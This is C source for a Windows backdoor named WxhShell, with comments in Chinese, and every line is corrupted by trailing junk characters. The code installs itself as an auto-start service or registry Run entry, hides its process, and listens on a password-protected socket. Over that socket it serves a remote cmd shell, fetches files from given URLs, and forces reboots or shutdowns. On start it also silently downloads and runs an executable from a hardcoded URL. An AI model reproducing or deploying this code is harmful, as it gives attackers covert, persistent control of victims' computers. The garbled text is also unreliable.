  case 'd': { fp9ksxb@m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xZS  
    if(Boot(SHUTDOWN)) : H<u@%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?T5^hQT   
    else { _f,q8ZkSr  
    closesocket(wsh); >ofS'mp  
    ExitThread(0); :Qu!0tY  
    } <W vuW6  
    break; 3vOI=ar=L~  
    } {R[lsdH(X  
  // 获取shell 0-g,C=L  
  case 's': { K+H?,I  
    CmdShell(wsh); Z>a_vC  
    closesocket(wsh); r3w.$  
    ExitThread(0); 5SX0g(C  
    break; ,u( g#T  
  } (@M=W.M#  
  // 退出 H(]lqvO  
  case 'x': { bE^Z;q19  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L5cNCWpo  
    CloseIt(wsh); y]?%2ud/=  
    break; 9L?EhDcDV  
    } ~sAINV>A  
  // 离开 mn" a$  
  case 'q': { ;4F[*VF!w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <HG~#oBRq  
    closesocket(wsh); Bw"L!sZ  
    WSACleanup(); !cnH|ePbI  
    exit(1); f9JD_hhP'  
    break; s.KJYP  
        } ]&VD$Z984r  
  } U%_a@&<  
  } I~"-  
\,JRNL&   
  // 提示信息 /Os)4yH\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |82V` CV  
} >Q+a'bd w  
  } ,D3q8?j  
"S[VtuxPCU  
  return; "SyyOD )WA  
} nH% /  
y~1UU3k5  
// shell模块句柄 Ft`#]=IS  
int CmdShell(SOCKET sock) yN~=3b>  
{ "6pjkEt4  
STARTUPINFO si; ;pb~Zk/[,w  
ZeroMemory(&si,sizeof(si)); 8.jd'yp*J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V* fDvr0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dw[w%uz  
PROCESS_INFORMATION ProcessInfo; GFlsI-*`  
char cmdline[]="cmd"; fQuphMOl6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KfWVz*DC!  
  return 0; |fTQ\q]W  
} r9s1\7]x  
V}9wx%v  
// 自身启动模式 &J"a`l2  
int StartFromService(void) %)l2dK&9"j  
{ N ~M:+ \  
typedef struct &.7\{q\(  
{ ;=)CjC8)  
  DWORD ExitStatus; xvp{F9~qT  
  DWORD PebBaseAddress; #JuO  
  DWORD AffinityMask; 'L3 \I  
  DWORD BasePriority; &r DOqj  
  ULONG UniqueProcessId; 66)@4 3V  
  ULONG InheritedFromUniqueProcessId; _BtlO(0&  
}   PROCESS_BASIC_INFORMATION; h{<^?=  
|EU}&k2  
PROCNTQSIP NtQueryInformationProcess; 0<v~J9i  
)zUV6U7v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^n]tf9{I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FAE>N-brQ  
{%S1x{U}W-  
  HANDLE             hProcess; 4)'5;|pI  
  PROCESS_BASIC_INFORMATION pbi; sd8o&6  
51;(vf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c q3C N@  
  if(NULL == hInst ) return 0; _7$j>xX  
0yAvAx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jz:d\M~j5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |[o2S90  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r*+9<8-ZX<  
kmov(V  
  if (!NtQueryInformationProcess) return 0; ~`-9i{L  
zG& N5t96X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KM0#M'dXy  
  if(!hProcess) return 0; HNU[W8mg8  
#llc5i;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hH[JY(V  
LDPo}ogs  
  CloseHandle(hProcess); Nob(bD5SpE  
w0*6GCP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _FdWV?  
if(hProcess==NULL) return 0; }clFaT>m?  
` GPK$ue  
HMODULE hMod; Qr0JJoHT  
char procName[255]; u3k+Xg:  
unsigned long cbNeeded; XkdNWR0  
$AsM 9D<BE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3\D jV2t  
5>A3;P  
  CloseHandle(hProcess); iNQk{n  
ix!u#7  
if(strstr(procName,"services")) return 1; // 以服务启动 1Kc* MS  
qM1$?U  
  return 0; // 注册表启动 &LL81u6=S  
} `+zr PpX  
uft~+w P  
// 主模块 Xd|5{  
int StartWxhshell(LPSTR lpCmdLine) 3tLh{S?uJ  
{ mDV 2vg  
  SOCKET wsl; `RmB{qgB  
BOOL val=TRUE; 9wWjl}%  
  int port=0; 4-3B"  
  struct sockaddr_in door; 0|GxOzNd  
uN`ACc)ESi  
  if(wscfg.ws_autoins) Install(); *VRFs=  
~s5Sk#.z5  
port=atoi(lpCmdLine); DK)qBxc8  
cJ[n<hTv  
if(port<=0) port=wscfg.ws_port; x!YfZ*  
qHHWe<}OT  
  WSADATA data; #4c uNX5m%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8u+ (+25  
+pe_s&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )YnB6@=nyk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |}mBW@ah  
  door.sin_family = AF_INET; =G=.THRUk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i:[B#|%  
  door.sin_port = htons(port); d1E~H]X4  
9d2$F9]:o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7<1Y%|x`  
closesocket(wsl); 4]dPhsey  
return 1; eq4<   
} e|4jT7L}  
hF2 G{{8A  
  if(listen(wsl,2) == INVALID_SOCKET) { dR=SW0Oa{  
closesocket(wsl); ,bH  
return 1; c"QH-sE  
} *i$+i  
  Wxhshell(wsl); Wq>j;\3b3  
  WSACleanup(); nK96A.B%p  
3IJIeG>  
return 0; uP* >-s'm  
R/^ rh  
} fO(.I  
pxY5S}@  
// 以NT服务方式启动 T:}Ed_m}q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1MV^~I8Dd  
{ G3OQbqn  
DWORD   status = 0; 9X*q^u  
  DWORD   specificError = 0xfffffff; ix$+NM<n  
Jp,ohVRNq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Nm^q.)dO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0`qq"j[6a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sY#K=5R  
  serviceStatus.dwWin32ExitCode     = 0; hnY^Z_v!  
  serviceStatus.dwServiceSpecificExitCode = 0; (8EZ,V:  
  serviceStatus.dwCheckPoint       = 0; E=x\f "Z  
  serviceStatus.dwWaitHint       = 0; H+: $ 7;  
5?I]\Tb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ic r'l$PE  
  if (hServiceStatusHandle==0) return; hi ]+D= S  
h|-r t15  
status = GetLastError(); "3>#[o  
  if (status!=NO_ERROR) 5VPuHY2  
{ 6>vj({,1Y*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0<Pe~i_=  
    serviceStatus.dwCheckPoint       = 0; @?%"nK  
    serviceStatus.dwWaitHint       = 0; i2!{.*.  
    serviceStatus.dwWin32ExitCode     = status; :8 )4:4$^  
    serviceStatus.dwServiceSpecificExitCode = specificError; K8RloDjk_A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hZJ Nh,,w  
    return; /3c1{%B\  
  } <w:fR|O  
IM@Qe|5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LvAIAknc  
  serviceStatus.dwCheckPoint       = 0; HR V/ A  
  serviceStatus.dwWaitHint       = 0; >:Oo[{)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gM= ~dBz  
} fcBS s\\C~  
y1AS^'  
// 处理NT服务事件,比如:启动、停止 ^1nf|Xj [  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WW_X:N~~e\  
{ c,-< 4e  
switch(fdwControl) nh8h?&q|  
{ ]v#T'<Nl  
case SERVICE_CONTROL_STOP: 6zI?K4o  
  serviceStatus.dwWin32ExitCode = 0; ?IWLl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L NE]#8ue  
  serviceStatus.dwCheckPoint   = 0; "vJADQ4F  
  serviceStatus.dwWaitHint     = 0; Nyo6R9^  
  { vLC&C-f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zzx4;C",u  
  } 0- #ct1-  
  return; {C6Yr9  
case SERVICE_CONTROL_PAUSE: Y}[r`}={  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~KNxAxyVi  
  break; E7D^6G&i  
case SERVICE_CONTROL_CONTINUE: f2Slsl;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;   C[Fh^  
  break; zZ wD)p?_g  
case SERVICE_CONTROL_INTERROGATE: U?rfE(!  
  break; 2Hd6  
}; iN)@Cu7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gmc"3L  
} yZ  P+  
F 4h EfO3  
// 标准应用程序主函数 p;H1,E:Re#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D\TL6"wo  
{ 0I&rZMpF&  
"8rP?B(  
// 获取操作系统版本 ILpB:g  
OsIsNt=GetOsVer(); !bY{T#i)k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7oWv'  
aL`pvsnF  
  // 从命令行安装 t3WlVUtq3  
  if(strpbrk(lpCmdLine,"iI")) Install(); L\B+j+~  
LRI_s>7  
  // 下载执行文件 uu/M XID  
if(wscfg.ws_downexe) { B\mdOTLQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KOxD%bX_  
  WinExec(wscfg.ws_filenam,SW_HIDE); OGVhb>LO1  
} T]myhNk  
o4J K$%  
if(!OsIsNt) { -OHG1"/  
// 如果时win9x,隐藏进程并且设置为注册表启动 /U`"|3  
HideProc(); ?|L)!LYx  
StartWxhshell(lpCmdLine); AsLAm#zq  
} *rbH|o8  
else #A/jGv^  
  if(StartFromService()) bw[!f4~  
  // 以服务方式启动 >i.+v[)#  
  StartServiceCtrlDispatcher(DispatchTable); 8R z=)J  
else #eaey+~  
  // 普通方式启动 f(C0&"4e  
  StartWxhshell(lpCmdLine); h>n;A>k@N  
}Yt0VtLt  
return 0; " c]Mz&z  
} QO k%Q$^G  
2D!'7ZD  
5M(?_qj  
FxUH ?%w  
=========================================== SAoqq  
LY|h*a6Ym  
sv[)?1S  
WFB2Ub7  
=y4g. J\  
S38D cWIw  
" XI0O^[/n{  
@M,_mX  
#include <stdio.h> ]EK"AuEz`  
#include <string.h> "&r1&StO  
#include <windows.h> YcGqT2oLP  
#include <winsock2.h> w&H ?;1  
#include <winsvc.h> ;?y?s'>t&  
#include <urlmon.h> REt()$ 7~  
+-oXW>`&  
#pragma comment (lib, "Ws2_32.lib") Mz06cw&  
#pragma comment (lib, "urlmon.lib") $+mmqc8  
~E!"YkIr  
#define MAX_USER   100 // 最大客户端连接数 -ZuzJAA  
#define BUF_SOCK   200 // sock buffer e L(T  
#define KEY_BUFF   255 // 输入 buffer Ve=0_GR0  
(zhmZm  
#define REBOOT     0   // 重启 F|PYDC  
#define SHUTDOWN   1   // 关机 &o8\ $A  
& =frt3  
#define DEF_PORT   5000 // 监听端口 }r i"u;.R  
\Lc pl-;?  
#define REG_LEN     16   // 注册表键长度 7Ua Ll  
#define SVC_LEN     80   // NT服务名长度 & .#0jb1r  
a@ lK+t  
// 从dll定义API w3& F e=c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c_" .+Fa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $$8"i+,K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9LFg":  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T&!>lqU!J  
+zlaYHj  
// wxhshell配置信息 W<x2~HW(  
struct WSCFG { 6=&  wY  
  int ws_port;         // 监听端口 R=IeAuZR4k  
  char ws_passstr[REG_LEN]; // 口令 w@"|S_E  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'rg$%M*(  
  char ws_regname[REG_LEN]; // 注册表键名 9<Bf5d   
  char ws_svcname[REG_LEN]; // 服务名 S`R ( _eD@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x3vz4m[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B!Qdf8We  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Bb1dH/8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C[pAa8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /fD)/x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r)b`3=  
ny MA%9,B  
}; >#kzPYsp  
eAl&[_o|S  
// default Wxhshell configuration #fFEo)YG  
struct WSCFG wscfg={DEF_PORT, 6IvLr+I  
    "xuhuanlingzhe", ^+P]_< 43  
    1, ]vlQNd?  
    "Wxhshell", 2V  
    "Wxhshell", I*24%z9  
            "WxhShell Service", :H?p^d e  
    "Wrsky Windows CmdShell Service", beq)Frn^  
    "Please Input Your Password: ", $GYy[-.`  
  1, ]];7ozS)X  
  "http://www.wrsky.com/wxhshell.exe", ;%%=G;b9  
  "Wxhshell.exe" 8RocObY_W  
    }; !|`YNsR  
=GLsoc-b  
// 消息定义模块  @P~ u k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S>'wb{jj!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qV(Plt%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +)V6"XY-(  
char *msg_ws_ext="\n\rExit."; 3w0m:~KS6V  
char *msg_ws_end="\n\rQuit."; G q:7d]c~T  
char *msg_ws_boot="\n\rReboot..."; )`U T#5  
char *msg_ws_poff="\n\rShutdown..."; pZWp2hj{X  
char *msg_ws_down="\n\rSave to "; .AV--oA~  
Tn-H8;Hg  
char *msg_ws_err="\n\rErr!"; *{tJ3<t(1  
char *msg_ws_ok="\n\rOK!"; f[%iRfUFw  
Nl(Aa5:!  
char ExeFile[MAX_PATH]; H%/$Rqg  
int nUser = 0; `yxk Sb  
HANDLE handles[MAX_USER]; ?n_Y _)9  
int OsIsNt; W58 \V  
Xe%n.DW m  
SERVICE_STATUS       serviceStatus; 8HWY]:| oh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ds-%\@p  
k|BEAdQ%M  
// 函数声明 EKDv3aFQZ#  
int Install(void); 6b)1B\p  
int Uninstall(void); jsL'O;K/  
int DownloadFile(char *sURL, SOCKET wsh); 5[;^Em)C  
int Boot(int flag); W`;E-28Dg  
void HideProc(void); u2F 3>s  
int GetOsVer(void); 7&+Gv6E  
int Wxhshell(SOCKET wsl); 20K<}:5t1  
void TalkWithClient(void *cs); H{+U; 6b  
int CmdShell(SOCKET sock); NcPzmW{#;g  
int StartFromService(void); aUJ&  
int StartWxhshell(LPSTR lpCmdLine); .2u%;)S  
QXF>xZ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N($j;<Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qC]D9 A  
%u!#f<"[  
// 数据结构和表定义 OtnYv  
SERVICE_TABLE_ENTRY DispatchTable[] = cOS|B1xG  
{ !Dun<\  
{wscfg.ws_svcname, NTServiceMain}, <iTaJa$0m  
{NULL, NULL} ] e&"CF  
};  m>a6,#I  
R (hq Ba/V  
// 自我安装 6C   
int Install(void) 9}":}!  
{ []u!piW  
  char svExeFile[MAX_PATH]; _:TD{EO$  
  HKEY key; &hZcj dB  
  strcpy(svExeFile,ExeFile); ?SS?I  
u(d>R5}'  
// 如果是win9x系统,修改注册表设为自启动 S"fnT*:.%  
if(!OsIsNt) { psYfz)1;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rYc?y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /LJ?JwAvg5  
  RegCloseKey(key); bk"` hq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -BB5bsjA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JSO>rpO  
  RegCloseKey(key); dmf~w_(7  
  return 0; N=|w]t0*yc  
    } siOeR@> X  
  } `oq 3G }  
} /(vT49(]  
else { x!Wl&  
5vY1 XZt{  
// 如果是NT以上系统,安装为系统服务 U^Hymgb%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d<#Xqc  
if (schSCManager!=0) VP|9Cm=Fg  
{ `kFxq<?aK  
  SC_HANDLE schService = CreateService jb77uH_  
  ( G*Qk9bk9  
  schSCManager, Vrz<DB^-e  
  wscfg.ws_svcname, #E*jX-JT  
  wscfg.ws_svcdisp, d<!bE(  
  SERVICE_ALL_ACCESS, O@Xl_QNxc!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +-xA/nU.c  
  SERVICE_AUTO_START, _Z2VS"yH  
  SERVICE_ERROR_NORMAL, Lw-)ijBW  
  svExeFile, cC>.`1:  
  NULL, Km-lWreTH  
  NULL, 377$c;4 F  
  NULL, fFiFc^  
  NULL, ~Ge-7^Fo7  
  NULL 5$N4< Lo7  
  ); .XS rLb?  
  if (schService!=0) R1?g6. Mq  
  { ynDa4HB  
  CloseServiceHandle(schService); '0w'||#1  
  CloseServiceHandle(schSCManager); $] w&`F-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MYjDO>(_  
  strcat(svExeFile,wscfg.ws_svcname); |L0s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {Uu7@1@n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tpA7"JD  
  RegCloseKey(key); ,]Hn*\@p[c  
  return 0; l6)*u[}E   
    } i1u & -#k  
  } d(R3![:  
  CloseServiceHandle(schSCManager); {s 4:V=J  
} [|uAfp5R  
} u:fiil$  
6`F_js.a  
return 1; {8b6A~/  
} !t[X/iu  
1\_4# @')  
// 自我卸载 4uDz=B+8y  
int Uninstall(void) c1e7h l  
{ U =T[-(:H  
  HKEY key; W0l|E&fj[  
t5[{ihv~:  
if(!OsIsNt) { hm?-QVRPV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9KD2C>d<  
  RegDeleteValue(key,wscfg.ws_regname); 7?B]X%  
  RegCloseKey(key); |jc87(x <  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G8eAj%88  
  RegDeleteValue(key,wscfg.ws_regname); #jK{)%}mA  
  RegCloseKey(key); yQ6{-:`)  
  return 0; 9 /q4]%`  
  } ]J m9D=  
} =suj3.   
} 8vc4J5  
else { 5U%u S^%DP  
:6Bk<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PK!=3fK4\F  
if (schSCManager!=0) D55dD>  
{ eDIjcZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ld`oIEj!P_  
  if (schService!=0) c tTbvXP  
  { )|'? uN7  
  if(DeleteService(schService)!=0) { CP/`ON  
  CloseServiceHandle(schService); ef Ra|7!HK  
  CloseServiceHandle(schSCManager); h dPK eqg7  
  return 0; O*!+D-  
  } Q]7r?nEEhW  
  CloseServiceHandle(schService); 4 ILCvM  
  } p}O@ %*p .  
  CloseServiceHandle(schSCManager); sR'rY[^/|  
} I6h{S}2  
} ]-["sw  
v"=^?5B  
return 1; lbTz  
} q'd6\G0 }  
"k5 C?~  
// 从指定url下载文件 ?OlYJ/!z3  
int DownloadFile(char *sURL, SOCKET wsh) LYv+Sv  
{ ^]AjcctGr  
  HRESULT hr; {.;MsE  
char seps[]= "/"; !f]F'h8  
char *token; e#SNN-hKsJ  
char *file; JzCfs<D  
char myURL[MAX_PATH]; z`m-Ca>6  
char myFILE[MAX_PATH]; ] E`J5o}op  
Qx'a+kLu9  
strcpy(myURL,sURL); W!V06.  
  token=strtok(myURL,seps); d),@&MSN  
  while(token!=NULL) =i\~][-  
  { .\LWV=B  
    file=token; [m!$01=  
  token=strtok(NULL,seps); qEX59v  
  } ]={:VsnL  
x>p=1(L  
GetCurrentDirectory(MAX_PATH,myFILE); jHTaG%oh  
strcat(myFILE, "\\"); s XRiUDP`  
strcat(myFILE, file); I?Eh 0fI  
  send(wsh,myFILE,strlen(myFILE),0); 5|wQeosXxI  
send(wsh,"...",3,0); hjaI&?w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q1`uS^3`  
  if(hr==S_OK) %\%1EZQ%  
return 0; <iv9Mg}  
else qdvGBdF  
return 1; =}u;>[3  
Ui'~d(F  
} ;m{[9i` 2  
pB h [F5  
// 系统电源模块 J6rXb ui$  
int Boot(int flag) :G,GHU'/78  
{ }DY^a'wJ-  
  HANDLE hToken; boJQ3Xc  
  TOKEN_PRIVILEGES tkp; Y=/HsG\W]  
!\RR UH*  
  if(OsIsNt) { 9O~1o?ni  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D?8t'3no  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5"]PwC  
    tkp.PrivilegeCount = 1; R qOEQ*k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SL>>]A,E<`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >c8zMd  
if(flag==REBOOT) { $ bD 3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;x| 4Tm  
  return 0; -GH#nF3G  
} =KMd! $J\  
else { /Y|9!{.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pcoJ\&&W  
  return 0; /QD}_lh;,  
} 0 l G\QT  
  } j#<#o:If  
  else { DZ(e^vq  
if(flag==REBOOT) { rL&585  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c|hKo[r)  
  return 0; SDcD(G  
} 3sHC1 +  
else { *M6M'>Tin  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KvkiwO(  
  return 0; ]J?5qR:xCy  
} (~zdS.  
} (gs"2  
,R3D  
return 1; ,t(y~Z wJ  
} rS{Rzs^@  
b> &kL  
// win9x进程隐藏模块 FV!  
void HideProc(void) _H<ur?G  
{ -Y2h vC  
C Vyq/X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dD@T}^j *|  
  if ( hKernel != NULL ) O#CxS/M5  
  { (E\7Ui0 Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3Akb|r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '?wv::t  
    FreeLibrary(hKernel); J:5%ff~r\  
  } F#O.i,  
J$]d%p_I  
return; 71w  
} oRmN|d ~4  
F~)xZN3=  
// 获取操作系统版本 qf(!3  
int GetOsVer(void) `b# w3 2  
{ Bn-%).-ED  
  OSVERSIONINFO winfo; SI8mr`gJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hdfNXZ{A"  
  GetVersionEx(&winfo); .ye5 ;A}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r6*0H/*  
  return 1; i,$*+2Z  
  else D{PO!WzW  
  return 0; u`R  
} _lu.@IX-  
Jg/WE1p>  
// 客户端句柄模块 ^mkplp a  
int Wxhshell(SOCKET wsl) }V6}>!Sb  
{ 9iUkvnphh  
  SOCKET wsh; qwiM .b5  
  struct sockaddr_in client; 6 @'v6 1'  
  DWORD myID; vAHJP$x  
=Q[ 5U9  
  while(nUser<MAX_USER) Go+f0aig  
{ ){icI <  
  int nSize=sizeof(client); i[T!{<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y~]>J^  
  if(wsh==INVALID_SOCKET) return 1; L#m1!+J  
Nr uXXd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M)i2)]F S  
if(handles[nUser]==0) +wS?Z5%mU  
  closesocket(wsh); ,d&~#W]  
else ,.x1+9X  
  nUser++; : -te  
  } Mpb|qGi!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mWfzL'*  
Ub4j3`  
  return 0; j]M $>2;  
} <eQS16  
!xA;(<K[^  
// 关闭 socket GyRU/0'BME  
void CloseIt(SOCKET wsh) ZMy,<wk  
{ Y GvtG U-  
closesocket(wsh); }+,1G!? z  
nUser--; lJ:B9n3OzT  
ExitThread(0); k 32 Jz.\B  
} $:{uF#  
J XbG|L  
// 客户端请求句柄 )zz"DH  
void TalkWithClient(void *cs) Jd7+~isu~  
{ ,M5zhp$  
#92MI#|n9  
  SOCKET wsh=(SOCKET)cs; <vhlT#p   
  char pwd[SVC_LEN]; m7cp0+Peo  
  char cmd[KEY_BUFF]; [Xg?sdQCI  
char chr[1]; g()YP  
int i,j; SHIK=&\~-  
e#<%`\qH  
  while (nUser < MAX_USER) { `G@]\)-!  
WVir[Kv%  
if(wscfg.ws_passstr) { o~*% g.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [?.k8;k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  r@/+  
  //ZeroMemory(pwd,KEY_BUFF); |z-A;uL<  
      i=0; v0apEjT  
  while(i<SVC_LEN) { &3:-(:<U  
n]r7} 2hM  
  // 设置超时 roVGS{4T\  
  fd_set FdRead; FI Io{ru  
  struct timeval TimeOut; [(F.x6z)  
  FD_ZERO(&FdRead); mC8c`# 1T  
  FD_SET(wsh,&FdRead); _r?H by<b  
  TimeOut.tv_sec=8; d+\o>x|Y!Y  
  TimeOut.tv_usec=0; ApG_Gd.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P I)lJ\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .Q>.|mu  
8I$>e (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); */u_RJ  
  pwd=chr[0]; ]wc'h>w  
  if(chr[0]==0xd || chr[0]==0xa) { l _dWS9  
  pwd=0; Gh>Rt=Qu%  
  break; ~Yb5F YE  
  } d3St Z~&r!  
  i++; 'W@X139zq  
    } jL<:N 8  
9h9 jS~h  
  // 如果是非法用户,关闭 socket 6`J*{%mP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bd5\Rt  
} pi 7W8y  
:uSo 2d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uz} #.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); si.ZTG9m  
iT227v!s  
while(1) { RplLU7  
3-`IMN n!  
  ZeroMemory(cmd,KEY_BUFF); ; {iX_%  
NhU~'k  
      // 自动支持客户端 telnet标准   ^mv F%"g  
  j=0; W.'#pd  
  while(j<KEY_BUFF) { 64fa0j~<*M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wa\Yc,R  
  cmd[j]=chr[0]; O&RW[ml*3  
  if(chr[0]==0xa || chr[0]==0xd) { *:{s|18Pj  
  cmd[j]=0; +vIpt{733  
  break; anxg D?<+B  
  } I} q2)@  
  j++; V|13%aE_v  
    } idPx! fe  
A,Wwt [Qw  
  // 下载文件 YC8wo1;Y!  
  if(strstr(cmd,"http://")) { J<'[P$D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,.A@U*j  
  if(DownloadFile(cmd,wsh)) >-*rtiE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T~8==Z{[  
  else jhgS@g=@ZC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UyTsUkY  
